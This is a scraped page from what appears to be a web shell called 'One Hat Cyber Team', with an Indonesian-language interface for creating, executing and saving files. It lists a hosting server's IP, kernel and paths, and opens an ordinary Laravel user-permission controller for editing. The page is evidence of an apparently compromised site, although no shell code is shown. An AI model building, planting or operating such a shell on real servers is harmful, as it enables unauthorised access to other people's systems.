One Hat Cyber Team
Your IP :
3.144.98.87
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
centos12
/
www
/
centosuit
/
app
/
Http
/
Controllers
/
Edit File:
UserPermissionController.php
<?php namespace App\Http\Controllers; use App\Helper\Reply; use App\Models\Module; use App\Models\Role; use App\Models\User; use App\Models\UserPermission; use Illuminate\Http\Request; class UserPermissionController extends AccountBaseController { /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $userPermission = UserPermission::where('permission_id', $request->permissionId) ->where('user_id', $id) ->firstOrNew(); $userPermission->permission_type_id = $request->permissionType; $userPermission->user_id = $id; $userPermission->permission_id = $request->permissionId; $userPermission->save(); if ($request->permissionCustomised == 1) { User::where('id', $id)->update(['customised_permissions' => 1]); } cache()->forget('sidebar_user_perms_' . $id); return Reply::dataOnly(['status' => 'success']); } public function customPermissions(Request $request, $id) { $this->employee = User::with('role')->findOrFail($id); $roleId = $this->employee->role[0]->role_id; $this->role = Role::with('permissions')->findOrFail($roleId); $this->modulesData = Module::with('customPermissions')->findOrFail($request->moduleId); $html = view('employees.ajax.custom_permissions', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } public function resetPermissions($userId) { $user = User::with('roles')->findOrFail($userId); $userRoles = $user->roles; if (count($userRoles) > 1) { $role = $userRoles->where('name', '!=', 'employee')->first(); } else { $role = $userRoles->first(); } if (!$role) { return Reply::error(__('messages.roleNotFound', ['user' => $user->name])); } $user->assignUserRolePermission($role->id); User::where('id', $userId)->update(['customised_permissions' => 0]); cache()->forget('sidebar_user_perms_' . $userId); return Reply::dataOnly(['status' => 'success']); } }
Simpan